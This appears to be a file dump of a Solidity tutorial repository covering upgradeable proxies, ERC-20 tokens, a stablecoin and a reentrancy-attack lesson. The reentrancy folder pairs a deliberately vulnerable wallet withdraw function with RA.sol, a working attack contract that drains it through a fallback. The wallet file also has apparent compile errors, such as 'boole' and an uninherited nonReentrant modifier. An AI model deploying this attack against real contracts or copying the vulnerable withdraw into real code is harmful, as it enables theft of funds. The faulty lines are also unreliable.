"label": "uint256[49]", 78 | "numberOfBytes": "1568" 79 | }, 80 | "t_array(t_uint256)50_storage": { 81 | "label": "uint256[50]", 82 | "numberOfBytes": "1600" 83 | }, 84 | "t_bool": { 85 | "label": "bool", 86 | "numberOfBytes": "1" 87 | }, 88 | "t_string_storage": { 89 | "label": "string", 90 | "numberOfBytes": "32" 91 | }, 92 | "t_uint256": { 93 | "label": "uint256", 94 | "numberOfBytes": "32" 95 | }, 96 | "t_uint8": { 97 | "label": "uint8", 98 | "numberOfBytes": "1" 99 | } 100 | } 101 | } 102 | }, 103 | "1b8ea9ec4948b13066af437fb8d6050b6042f052153dc2c453c30cd804ec71c6": { 104 | "address": "0xd84F913b8BD9661E54BB9Af640a00f51d181f62b", 105 | "txHash": "0x3c038efce2dbe1edb241b80eb3381b448b3e366d53a6bb9ad5344f119b030f0c", 106 | "layout": { 107 | "solcVersion": "0.8.18", 108 | "storage": [ 109 | { 110 | "label": "_initialized", 111 | "offset": 0, 112 | "slot": "0", 113 | "type": "t_uint8", 114 | "contract": "Initializable", 115 | "src": "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol:62", 116 | "retypedFrom": "bool" 117 | }, 118 | { 119 | "label": "_initializing", 120 | "offset": 1, 121 | "slot": "0", 122 | "type": "t_bool", 123 | "contract": "Initializable", 124 | "src": "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol:67" 125 | }, 126 | { 127 | "label": "__gap", 128 | "offset": 0, 129 | "slot": "1", 130 | "type": "t_array(t_uint256)50_storage", 131 | "contract": "ContextUpgradeable", 132 | "src": "@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol:36" 133 | }, 134 | { 135 | "label": "_owner", 136 | "offset": 0, 137 | "slot": "51", 138 | "type": "t_address", 139 | "contract": "OwnableUpgradeable", 140 | "src": "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol:22" 141 | }, 142 | { 143 | "label": "__gap", 144 | "offset": 0, 145 | "slot": "52", 146 | "type": "t_array(t_uint256)49_storage", 147 | "contract": "OwnableUpgradeable", 148 | "src": "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol:94" 149 | }, 150 | { 151 | "label": "message", 152 | "offset": 0, 153 | "slot": "101", 154 | "type": "t_string_storage", 155 | "contract": "Contrato", 156 | "src": "contracts/Contrato.sol:11" 157 | } 158 | ], 159 | "types": { 160 | "t_address": { 161 | "label": "address", 162 | "numberOfBytes": "20" 163 | }, 164 | "t_array(t_uint256)49_storage": { 165 | "label": "uint256[49]", 166 | "numberOfBytes": "1568" 167 | }, 168 | "t_array(t_uint256)50_storage": { 169 | "label": "uint256[50]", 170 | "numberOfBytes": "1600" 171 | }, 172 | "t_bool": { 173 | "label": "bool", 174 | "numberOfBytes": "1" 175 | }, 176 | "t_string_storage": { 177 | "label": "string", 178 | "numberOfBytes": "32" 179 | }, 180 | "t_uint256": { 181 | "label": "uint256", 182 | "numberOfBytes": "32" 183 | }, 184 | "t_uint8": { 185 | "label": "uint8", 186 | "numberOfBytes": "1" 187 | } 188 | } 189 | } 190 | } 191 | } 192 | } 193 | -------------------------------------------------------------------------------- /proxy-pattern-hardhat/README.md: -------------------------------------------------------------------------------- 1 | # proxy-pattern-hardhat 2 | 3 | A simple proxy pattern implementation for upgradeable contracts with HardHat and OpenZeppelin. 4 | 5 | ## How to Test 6 | 7 | 1. git clone 8 | 2. cd proxy-pattern-hardhat 9 | 3. npm install 10 | 4. npm test 11 | 12 | ## How to Deploy 13 | 14 | 1. copy .env.example as .env 15 | 2. fill .env variables 16 | 3. check hardhat.config.ts 17 | 4. check package.json scripts 18 | 5. npm run deploy 19 | 20 | ## How to Update 21 | 22 | 1. do your Contrato.sol updates 23 | 2. npm run update 24 | 25 | ## Saiba Mais 26 | 27 | Tutorial completo em https://www.luiztools.com.br/post/como-atualizar-smart-contracts-em-solidity-proxy 28 | 29 | Conheça meu livro: https://www.luiztools.com.br/livro-web3 30 | 31 | Conheça meu curso de web3, blockchain e solidity: https://www.luiztools.com.br/curso-web23 32 | 33 | Me siga nas redes sociais: https://about.me/luiztools 34 | 35 | Receba novidades no Telegram: https://t.me/luiznews -------------------------------------------------------------------------------- /proxy-pattern-hardhat/contracts/Contrato.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.20; 3 | 4 | // Uncomment this line to use console.log 5 | // import "hardhat/console.sol"; 6 | import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; 7 | import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; 8 | 9 | contract Contrato is Initializable, OwnableUpgradeable { 10 | 11 | string private message; 12 | 13 | /// @custom:oz-upgrades-unsafe-allow constructor 14 | constructor() { 15 | _disableInitializers(); 16 | } 17 | 18 | function initialize() initializer public { 19 | __Ownable_init(msg.sender); 20 | message = "Hello world"; 21 | } 22 | 23 | function getMessage() public view returns (string memory) { 24 | return message; 25 | } 26 | 27 | function setMessage(string memory newMessage) public { 28 | message = newMessage; 29 | } 30 | } -------------------------------------------------------------------------------- /proxy-pattern-hardhat/hardhat.config.ts: -------------------------------------------------------------------------------- 1 | import { HardhatUserConfig } from "hardhat/config"; 2 | import "@nomicfoundation/hardhat-toolbox"; 3 | import "@openzeppelin/hardhat-upgrades"; 4 | 5 | import dotenv from 'dotenv'; 6 | dotenv.config(); 7 | 8 | const config: HardhatUserConfig = { 9 | solidity: "0.8.20", 10 | networks: { 11 | mumbai: { 12 | url: process.env.RPC_URL, 13 | chainId: parseInt(`${process.env.CHAIN_ID}`), 14 | accounts: { 15 | mnemonic: process.env.SECRET 16 | } 17 | } 18 | }, 19 | etherscan: { 20 | apiKey: process.env.API_KEY 21 | } 22 | }; 23 | 24 | export default config; 25 | -------------------------------------------------------------------------------- /proxy-pattern-hardhat/ignition/modules/Lock.ts: -------------------------------------------------------------------------------- 1 | //not compatible with OpenZeppelin Upgradeable yet -------------------------------------------------------------------------------- /proxy-pattern-hardhat/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "proxy-pattern", 3 | "version": "1.0.0", 4 | "description": "", 5 | "main": "index.js", 6 | "scripts": { 7 | "test": "npx hardhat coverage", 8 | "compile": "npx hardhat compile", 9 | "deploy": "npx hardhat run scripts/deploy.ts --network mumbai", 10 | "update": "npx hardhat run scripts/update.ts --network mumbai" 11 | }, 12 | "keywords": [], 13 | "author": "LuizTools", 14 | "license": "MIT", 15 | "devDependencies": { 16 | "@nomicfoundation/hardhat-toolbox": "^5.0.0", 17 | "@openzeppelin/hardhat-upgrades": "^3.0.5", 18 | "hardhat": "^2.22.2" 19 | }, 20 | "dependencies": { 21 | "@openzeppelin/contracts-upgradeable": "^5.0.2", 22 | "dotenv": "^16.4.5" 23 | } 24 | } -------------------------------------------------------------------------------- /proxy-pattern-hardhat/scripts/deploy.ts: -------------------------------------------------------------------------------- 1 | import { ethers, upgrades } from "hardhat"; 2 | 3 | async function main() { 4 | const Contrato = await ethers.getContractFactory("Contrato"); 5 | const contract = await upgrades.deployProxy(Contrato); 6 | await contract.waitForDeployment(); 7 | const address = await contract.getAddress() 8 | 9 | console.log(`Contract deployed at ${address}`); 10 | } 11 | 12 | // We recommend this pattern to be able to use async/await everywhere 13 | // and properly handle errors. 14 | main().catch((error) => { 15 | console.error(error); 16 | process.exitCode = 1; 17 | }); 18 | -------------------------------------------------------------------------------- /proxy-pattern-hardhat/scripts/update.ts: -------------------------------------------------------------------------------- 1 | import { ethers, upgrades } from "hardhat"; 2 | 3 | async function main() { 4 | const Contrato = await ethers.getContractFactory("Contrato"); 5 | const contract = await upgrades.upgradeProxy("0x6AbD403AA0DBBbDdE8e994745B7ca29e206aFe3e", Contrato); 6 | await contract.waitForDeployment(); 7 | const address = await contract.getAddress(); 8 | 9 | console.log(`Contract updated at ${address}`); 10 | } 11 | 12 | // We recommend this pattern to be able to use async/await everywhere 13 | // and properly handle errors. 14 | main().catch((error) => { 15 | console.error(error); 16 | process.exitCode = 1; 17 | }); 18 | -------------------------------------------------------------------------------- /proxy-pattern-hardhat/test/Contrato.test.ts: -------------------------------------------------------------------------------- 1 | import { loadFixture } from "@nomicfoundation/hardhat-network-helpers"; 2 | import { expect } from "chai"; 3 | import { ethers, upgrades } from "hardhat"; 4 | 5 | describe("Contrato Proxy", function () { 6 | 7 | async function deployFixture() { 8 | const [owner, otherAccount] = await ethers.getSigners(); 9 | 10 | const Contrato = await ethers.getContractFactory("Contrato"); 11 | const contract = await upgrades.deployProxy(Contrato); 12 | const contractAddress = await contract.getAddress(); 13 | 14 | return { contract, contractAddress, owner, otherAccount }; 15 | } 16 | 17 | it("Should set message", async function () { 18 | const { contract } = await loadFixture(deployFixture); 19 | 20 | await contract.setMessage("Hello LuizTools") 21 | 22 | expect(await contract.getMessage()).to.equal("Hello LuizTools"); 23 | }); 24 | 25 | it("Should upgrade and set message", async function () { 26 | const { contract, contractAddress } = await loadFixture(deployFixture); 27 | 28 | await contract.setMessage("Hello New LuizTools"); 29 | 30 | const Contrato = await ethers.getContractFactory("Contrato"); 31 | const newContract = await upgrades.upgradeProxy(contractAddress, Contrato); 32 | 33 | expect(await newContract.getMessage()).to.equal("Hello New LuizTools"); 34 | }); 35 | }); 36 | -------------------------------------------------------------------------------- /proxy-pattern-hardhat/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "target": "es2020", 4 | "module": "commonjs", 5 | "esModuleInterop": true, 6 | "forceConsistentCasingInFileNames": true, 7 | "strict": true, 8 | "skipLibCheck": true, 9 | "resolveJsonModule": true 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /reentrancy-attack-remix/Carteira.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.18; 4 | 5 | import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; 6 | 7 | contract Carteira { 8 | mapping(address => uint) public balances; //user => balance 9 | 10 | constructor() {} 11 | 12 | function deposit() external payable { 13 | balances[msg.sender] += msg.value; 14 | } 15 | 16 | function withdraw(uint amount) external { 17 | require(balances[msg.sender] >= amount, "Insufficient funds"); 18 | payable(msg.sender).transfer(amount); 19 | balances[msg.sender] -= amount; 20 | } 21 | 22 | function withdraw2(uint amount) external { 23 | require(balances[msg.sender] >= amount, "Insufficient funds"); 24 | balances[msg.sender] -= amount; 25 | payable(msg.sender).transfer(amount); 26 | } 27 | 28 | boole private isProcessing = false; 29 | 30 | function withdraw3(uint amount) external { 31 | require(!isProcessing, "Reentry blocked"); 32 | isProcessing = true; 33 | 34 | require(balances[msg.sender] >= amount, "Insufficient funds"); 35 | balances[msg.sender] -= amount; 36 | payable(msg.sender).transfer(amount); 37 | 38 | isProcessing = false; 39 | } 40 | 41 | function withdraw4(uint amount) external nonReentrant { 42 | require(balances[msg.sender] >= amount, "Insufficient funds"); 43 | balances[msg.sender] -= amount; 44 | payable(msg.sender).transfer(amount); 45 | } 46 | } 47 | -------------------------------------------------------------------------------- /reentrancy-attack-remix/RA.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.18; 4 | 5 | interface IReentrancy { 6 | function deposit() external payable; 7 | 8 | function withdraw(uint amount) external; 9 | } 10 | 11 | contract RA { 12 | IReentrancy private immutable target; 13 | 14 | constructor(address targetAddress) { 15 | target = IReentrancy(targetAddress); 16 | } 17 | 18 | function attack() external payable { 19 | target.deposit{value: msg.value}(); 20 | target.withdraw(msg.value); 21 | } 22 | 23 | receive() external payable { 24 | if (address(target).balance >= msg.value) target.withdraw(msg.value); 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /reentrancy-attack-remix/README.md: -------------------------------------------------------------------------------- 1 | # reentrancy-attack-remix 2 | 3 | A simple Reentrancy Attack example with solutions. 4 | 5 | ## Referências 6 | 7 | Tutorial em: https://www.luiztools.com.br/post/reentrancy-attack-em-smart-contracts-solidity/ 8 | 9 | Conheça meu livro: https://www.luiztools.com.br/livro-web3 10 | 11 | Conheça meu curso de web3, blockchain e solidity: https://www.luiztools.com.br/curso-web23 12 | 13 | Me siga nas redes sociais: https://about.me/luiztools 14 | 15 | Receba novidades no Telegram: https://t.me/luiznews -------------------------------------------------------------------------------- /stablecoin-fiat-remix/IStableCoin.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.18; 3 | 4 | import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; 5 | 6 | interface IStableCoin is IERC20 { 7 | function mint(address to, uint256 amount) external; 8 | 9 | function burn(address from, uint256 amount) external; 10 | } -------------------------------------------------------------------------------- /stablecoin-fiat-remix/MyExchange.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.18; 4 | 5 | import "./IStableCoin.sol"; 6 | import "@openzeppelin/contracts/access/Ownable.sol"; 7 | 8 | contract MyExchange is Ownable { 9 | 10 | uint public fee = 20;//0.20% 11 | IStableCoin private immutable stableCoin; 12 | 13 | constructor(address _stableCoin) { 14 | stableCoin = IStableCoin(_stableCoin); 15 | } 16 | 17 | function setFee(uint _fee) external onlyOwner { 18 | fee = _fee; 19 | } 20 | 21 | function deposit(address customer, uint amount) external onlyOwner { 22 | uint amountWithFee = (amount * (10000 - fee)) / 10000; 23 | stableCoin.mint(customer, amountWithFee); 24 | } 25 | 26 | function withdraw(address customer, uint amount) external onlyOwner { 27 | stableCoin.burn(customer, amount); 28 | } 29 | 30 | } -------------------------------------------------------------------------------- /stablecoin-fiat-remix/MyStableCoin.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.9; 3 | 4 | import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; 5 | import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol"; 6 | import "@openzeppelin/contracts/security/Pausable.sol"; 7 | import "@openzeppelin/contracts/access/Ownable.sol"; 8 | 9 | contract MyStableCoin is ERC20, ERC20Burnable, Pausable, Ownable { 10 | constructor() ERC20("MyStableCoin", "MSC") {} 11 | 12 | function pause() public onlyOwner { 13 | _pause(); 14 | } 15 | 16 | function unpause() public onlyOwner { 17 | _unpause(); 18 | } 19 | 20 | function mint(address to, uint256 amount) public onlyOwner whenNotPaused { 21 | _mint(to, amount); 22 | } 23 | 24 | function burn(address from, uint256 amount) public onlyOwner { 25 | _burn(from, amount); 26 | } 27 | 28 | function _beforeTokenTransfer(address from, address to, uint256 amount) 29 | internal 30 | whenNotPaused 31 | override 32 | { 33 | super._beforeTokenTransfer(from, to, amount); 34 | } 35 | } -------------------------------------------------------------------------------- /stablecoin-fiat-remix/MyStableCoinV2.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.18; 3 | 4 | import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; 5 | import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol"; 6 | import "@openzeppelin/contracts/security/Pausable.sol"; 7 | import "@openzeppelin/contracts/access/Ownable.sol"; 8 | import "./IStableCoin.sol"; 9 | 10 | contract MyStableCoinV2 is IStableCoin, ERC20, ERC20Burnable, Pausable, Ownable { 11 | 12 | address exchange; 13 | 14 | constructor() ERC20("MyStableCoinV2", "MSC") {} 15 | 16 | function setExchange(address _exchange) external onlyOwner { 17 | require(_exchange != address(0), "exchange address cannot be zero"); 18 | exchange = _exchange; 19 | } 20 | 21 | function pause() public onlyOwner { 22 | _pause(); 23 | } 24 | 25 | function unpause() public onlyOwner { 26 | _unpause(); 27 | } 28 | 29 | function mint(address to, uint256 amount) external onlyOwnerOrExchange whenNotPaused { 30 | _mint(to, amount); 31 | } 32 | 33 | function burn(address from, uint256 amount) external onlyOwnerOrExchange { 34 | _burn(from, amount); 35 | } 36 | 37 | function _beforeTokenTransfer(address from, address to, uint256 amount) 38 | internal 39 | whenNotPaused 40 | override 41 | { 42 | super._beforeTokenTransfer(from, to, amount); 43 | } 44 | 45 | modifier onlyOwnerOrExchange(){ 46 | require(msg.sender == owner() || msg.sender == exchange, "msg.sender is not owner or exchange"); 47 | _; 48 | } 49 | } -------------------------------------------------------------------------------- /stablecoin-fiat-remix/README.md: -------------------------------------------------------------------------------- 1 | # stablecoin-fiat-remix 2 | 3 | A simple stablecoin fiat implementation with Remix. 4 | 5 | ## Referências 6 | 7 | Tutorial em: https://www.luiztools.com.br/post/como-criar-uma-stablecoin-fiat-em-solidity/ 8 | 9 | Conheça meu livro: https://www.luiztools.com.br/livro-web3 10 | 11 | Conheça meu curso de web3, blockchain e solidity: https://www.luiztools.com.br/curso-web23 12 | 13 | Me siga nas redes sociais: https://about.me/luiztools 14 | 15 | Receba novidades no Telegram: https://t.me/luiznews -------------------------------------------------------------------------------- /token-erc20-hardhat/.gitignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | .env 3 | coverage 4 | coverage.json 5 | typechain 6 | typechain-types 7 | 8 | # Hardhat files 9 | cache 10 | artifacts 11 | 12 | -------------------------------------------------------------------------------- /token-erc20-hardhat/README.md: -------------------------------------------------------------------------------- 1 | # token-erc20-hardhat 2 | 3 | A simple token written in Solidity using ERC-20 spec, OpenZeppelin contracts and HardHat toolkit. 4 | 5 | ## Pre-requisites 6 | 7 | 1. Node.js 8 | 9 | ## How to Run 10 | 11 | 1. open command line terminal 12 | 2. cd token-erc20-hardhat 13 | 3. npm install 14 | 4. npx hardhat test 15 | 16 | ## Referências 17 | 18 | Tutorial em: https://www.luiztools.com.br/post/como-criar-uma-nova-criptomoeda-usando-solidity-e-hardhat-js/ 19 | 20 | Conheça meu livro: https://www.luiztools.com.br/livro-web3 21 | 22 | Conheça meu curso de web3, blockchain e solidity: https://www.luiztools.com.br/curso-web23 23 | 24 | Me siga nas redes sociais: https://about.me/luiztools 25 | 26 | Receba novidades no Telegram: https://t.me/luiznews -------------------------------------------------------------------------------- /token-erc20-hardhat/contracts/LuizCoin.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.20; 3 | 4 | import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; 5 | 6 | contract LuizCoin is ERC20 { 7 | constructor() ERC20("LuizCoin", "LUC") { 8 | _mint(msg.sender, 1000 * 10 ** 18); 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /token-erc20-hardhat/hardhat.config.ts: -------------------------------------------------------------------------------- 1 | import { HardhatUserConfig } from "hardhat/config"; 2 | import "@nomicfoundation/hardhat-toolbox"; 3 | 4 | const config: HardhatUserConfig = { 5 | solidity: "0.8.20", 6 | }; 7 | 8 | export default config; 9 | -------------------------------------------------------------------------------- /token-erc20-hardhat/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "token-erc20-hardhat", 3 | "version": "1.0.0", 4 | "description": "", 5 | "main": "index.js", 6 | "scripts": { 7 | "test": "npx hardhat test" 8 | }, 9 | "keywords": [], 10 | "author": "LuizTools", 11 | "license": "MIT", 12 | "devDependencies": { 13 | "@nomicfoundation/hardhat-toolbox": "^4.0.0", 14 | "hardhat": "^2.19.1" 15 | }, 16 | "dependencies": { 17 | "@openzeppelin/contracts": "^5.0.0" 18 | } 19 | } -------------------------------------------------------------------------------- /token-erc20-hardhat/scripts/deploy.ts: -------------------------------------------------------------------------------- 1 | import { ethers } from "hardhat"; 2 | 3 | async function main() { 4 | const LuizCoin = await ethers.getContractFactory("LuizCoin"); 5 | const luizCoin = await LuizCoin.deploy(); 6 | 7 | await luizCoin.waitForDeployment(); 8 | const address = await luizCoin.getAddress(); 9 | 10 | console.log(`Contract LuizCoin deployed to ${address}`); 11 | } 12 | 13 | // We recommend this pattern to be able to use async/await everywhere 14 | // and properly handle errors. 15 | main().catch((error) => { 16 | console.error(error); 17 | process.exitCode = 1; 18 | }); 19 | -------------------------------------------------------------------------------- /token-erc20-hardhat/test/LuizCoin.test.ts: -------------------------------------------------------------------------------- 1 | import { loadFixture } from "@nomicfoundation/hardhat-network-helpers"; 2 | import { expect } from "chai"; 3 | import { ethers } from "hardhat"; 4 | 5 | describe("LuizCoin", () => { 6 | 7 | const DECIMALS = 18n; 8 | 9 | async function deployFixture() { 10 | const [owner, otherAccount] = await ethers.getSigners(); 11 | const LuizCoin = await ethers.getContractFactory("LuizCoin"); 12 | const luizCoin = await LuizCoin.deploy(); 13 | return { luizCoin, owner, otherAccount }; 14 | } 15 | 16 | it("Should put total supply LuizCoin in the admin account", async () => { 17 | const { luizCoin, owner } = await loadFixture(deployFixture); 18 | const balance = await luizCoin.balanceOf(owner.address); 19 | const totalSupply = 1000n * 10n ** DECIMALS; 20 | expect(balance).to.equal(totalSupply, "Total supply wasn't in the first account"); 21 | }); 22 | 23 | it("Should has the correct name", async () => { 24 | const { luizCoin } = await loadFixture(deployFixture); 25 | const name = await luizCoin.name() as string; 26 | expect(name).to.equal("LuizCoin", "The name is wrong"); 27 | }); 28 | 29 | it("Should has the correct symbol", async () => { 30 | const { luizCoin } = await loadFixture(deployFixture); 31 | const symbol = await luizCoin.symbol() as string; 32 | expect(symbol).to.equal("LUC", "The symbol is wrong"); 33 | }); 34 | 35 | it("Should has the correct decimals", async () => { 36 | const { luizCoin } = await loadFixture(deployFixture); 37 | const decimals = await luizCoin.decimals(); 38 | expect(decimals).to.equal(DECIMALS, "The decimals are wrong"); 39 | }); 40 | 41 | it("Should transfer", async () => { 42 | const qty = 1n * 10n ** DECIMALS; 43 | 44 | const { luizCoin, owner, otherAccount } = await loadFixture(deployFixture); 45 | const balanceAdminBefore = await luizCoin.balanceOf(owner.address); 46 | const balanceToBefore = await luizCoin.balanceOf(otherAccount.address); 47 | 48 | await luizCoin.transfer(otherAccount.address, qty); 49 | 50 | const balanceAdminNow = await luizCoin.balanceOf(owner.address); 51 | const balanceToNow = await luizCoin.balanceOf(otherAccount.address); 52 | 53 | expect(balanceAdminNow).to.equal(balanceAdminBefore - qty, "The admin balance is wrong"); 54 | expect(balanceToNow).to.equal(balanceToBefore + qty, "The to balance is wrong"); 55 | }); 56 | 57 | it("Should NOT transfer", async () => { 58 | const aboveSupply = 1001n * 10n ** DECIMALS; 59 | const { luizCoin, owner, otherAccount } = await loadFixture(deployFixture); 60 | 61 | await expect(luizCoin.transfer(otherAccount.address, aboveSupply)) 62 | .to.be.revertedWithCustomError(luizCoin, "ERC20InsufficientBalance"); 63 | }); 64 | 65 | it("Should approve", async () => { 66 | const qty = 1n * 10n ** DECIMALS; 67 | 68 | const { luizCoin, owner, otherAccount } = await loadFixture(deployFixture); 69 | await luizCoin.approve(otherAccount.address, qty); 70 | const allowedAmount = await luizCoin.allowance(owner.address, otherAccount.address); 71 | 72 | expect(qty).to.equal(allowedAmount, "The allowed amount is wrong"); `` 73 | }); 74 | 75 | it("Should transfer from", async () => { 76 | const qty = 1n * 10n ** DECIMALS; 77 | 78 | const { luizCoin, owner, otherAccount } = await loadFixture(deployFixture); 79 | const allowanceBefore = await luizCoin.allowance(owner.address, otherAccount.address); 80 | const balanceAdminBefore = await luizCoin.balanceOf(owner.address); 81 | const balanceToBefore = await luizCoin.balanceOf(otherAccount.address); 82 | 83 | await luizCoin.approve(otherAccount.address, qty); 84 | 85 | const instance = luizCoin.connect(otherAccount); 86 | await instance.transferFrom(owner.address, otherAccount.address, qty); 87 | 88 | const allowanceNow = await luizCoin.allowance(owner.address, otherAccount.address); 89 | const balanceAdminNow = await luizCoin.balanceOf(owner.address); 90 | const balanceToNow = await luizCoin.balanceOf(otherAccount.address); 91 | 92 | expect(allowanceBefore).to.equal(allowanceNow, "The allowance is wrong"); 93 | expect(balanceAdminNow).to.equal(balanceAdminBefore - qty, "The admin balance is wrong"); 94 | expect(balanceToNow).to.equal(balanceToBefore + qty, "The to balance is wrong"); 95 | }); 96 | 97 | it("Should NOT transfer from", async () => { 98 | const qty = 1n * 10n ** DECIMALS; 99 | const { luizCoin, owner, otherAccount } = await loadFixture(deployFixture); 100 | 101 | await expect(luizCoin.transferFrom(owner.address, otherAccount.address, qty)) 102 | .to.be.revertedWithCustomError(luizCoin, "ERC20InsufficientAllowance"); 103 | }); 104 | }); -------------------------------------------------------------------------------- /token-erc20-hardhat/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "target": "es2020", 4 | "module": "commonjs", 5 | "esModuleInterop": true, 6 | "forceConsistentCasingInFileNames": true, 7 | "strict": true, 8 | "skipLibCheck": true 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /token-erc20-remix/LuizCoin.sol: -------------------------------------------------------------------------------- 1 | //SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.26; 4 | 5 | contract LuizCoin { 6 | string private _name = "LuizCoin"; 7 | string private _symbol = "LUC"; 8 | uint8 private _decimals = 18; 9 | uint256 private _totalSupply = 10000 * 10 ** _decimals; 10 | 11 | mapping(address => uint256) private _balances; 12 | 13 | mapping(address => mapping(address => uint256)) private _allowances; 14 | 15 | event Transfer(address indexed from, address indexed to, uint256 value); 16 | 17 | event Approval( 18 | address indexed owner, 19 | address indexed spender, 20 | uint256 value 21 | ); 22 | 23 | constructor() { 24 | _balances[msg.sender] = _totalSupply; 25 | } 26 | 27 | function name() public view returns (string memory) { 28 | return _name; 29 | } 30 | 31 | function symbol() public view returns (string memory) { 32 | return _symbol; 33 | } 34 | 35 | function decimals() public view returns (uint8) { 36 | return _decimals; 37 | } 38 | 39 | function totalSupply() public view returns (uint) { 40 | return _totalSupply; 41 | } 42 | 43 | function balanceOf(address owner) public view returns (uint256) { 44 | return _balances[owner]; 45 | } 46 | 47 | function transfer(address to, uint256 value) public returns (bool) { 48 | require(balanceOf(msg.sender) >= value, "Insuficient balance"); 49 | _balances[to] += value; 50 | _balances[msg.sender] -= value; 51 | emit Transfer(msg.sender, to, value); 52 | return true; 53 | } 54 | 55 | function allowance(address _owner, address _spender) public view returns (uint256){ 56 | return _allowances[_owner][_spender]; 57 | } 58 | 59 | function approve(address spender, uint256 value) public returns (bool) { 60 | _allowances[msg.sender][spender] = value; 61 | emit Approval(msg.sender, spender, value); 62 | return true; 63 | } 64 | 65 | function transferFrom( 66 | address from, 67 | address to, 68 | uint256 value 69 | ) public returns (bool) { 70 | require(balanceOf(from) >= value, "Insufficient balance"); 71 | require( 72 | allowance(from, msg.sender) >= value, 73 | "Insufficient allowance" 74 | ); 75 | _balances[to] += value; 76 | _balances[from] -= value; 77 | _allowances[from][msg.sender] -= value; 78 | emit Transfer(from, to, value); 79 | return true; 80 | } 81 | } 82 | -------------------------------------------------------------------------------- /token-erc20-remix/README.md: -------------------------------------------------------------------------------- 1 | # token-erc20-remix 2 | 3 | A simple token written in Solidity using ERC-20 spec. 4 | 5 | ## Referências 6 | 7 | Tutorial em: https://www.luiztools.com.br/post/como-criar-um-token-erc20-em-solidity-2 8 | 9 | Conheça meu livro: https://www.luiztools.com.br/livro-web3 10 | 11 | Conheça meu curso de web3, blockchain e solidity: https://www.luiztools.com.br/curso-web23 12 | 13 | Me siga nas redes sociais: https://about.me/luiztools 14 | 15 | Receba novidades no Telegram: https://t.me/luiznews -------------------------------------------------------------------------------- /token-erc20-truffle/README.md: -------------------------------------------------------------------------------- 1 | # token-erc20-truffle 2 | 3 | A simple token written in Solidity using ERC-20 spec, OpenZeppelin contracts and Truffle toolkit. 4 | 5 | ## Referências 6 | 7 | Tutorial em: https://www.luiztools.com.br/post/como-criar-uma-nova-criptomoeda-usando-solidity-e-truffle-js 8 | 9 | Conheça meu livro: https://www.luiztools.com.br/livro-web3 10 | 11 | Conheça meu curso de web3, blockchain e solidity: https://www.luiztools.com.br/curso-web23 12 | 13 | Me siga nas redes sociais: https://about.me/luiztools 14 | 15 | Receba novidades no Telegram: https://t.me/luiznews -------------------------------------------------------------------------------- /token-erc20-truffle/build/contracts/Context.json: -------------------------------------------------------------------------------- 1 | { 2 | "contractName": "Context", 3 | "abi": [], 4 | "metadata": "{\"compiler\":{\"version\":\"0.8.17+commit.8df45f5f\"},\"language\":\"Solidity\",\"output\":{\"abi\":[],\"devdoc\":{\"details\":\"Provides information about the current execution context, including the sender of the transaction and its data. While these are generally available via msg.sender and msg.data, they should not be accessed in such a direct manner, since when dealing with meta-transactions the account sending and paying for execution may not be the actual sender (as far as an application is concerned). This contract is only required for intermediate, library-like contracts.\",\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"@openzeppelin/contracts/utils/Context.sol\":\"Context\"},\"evmVersion\":\"london\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":200},\"remappings\":[]},\"sources\":{\"@openzeppelin/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]}},\"version\":1}", 5 | "bytecode": "0x", 6 | "deployedBytecode": "0x", 7 | "immutableReferences": {}, 8 | "generatedSources": [], 9 | "deployedGeneratedSources": [], 10 | "sourceMap": "", 11 | "deployedSourceMap": "", 12 | "source": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Provides information about the current execution context, including the\n * sender of the transaction and its data. While these are generally available\n * via 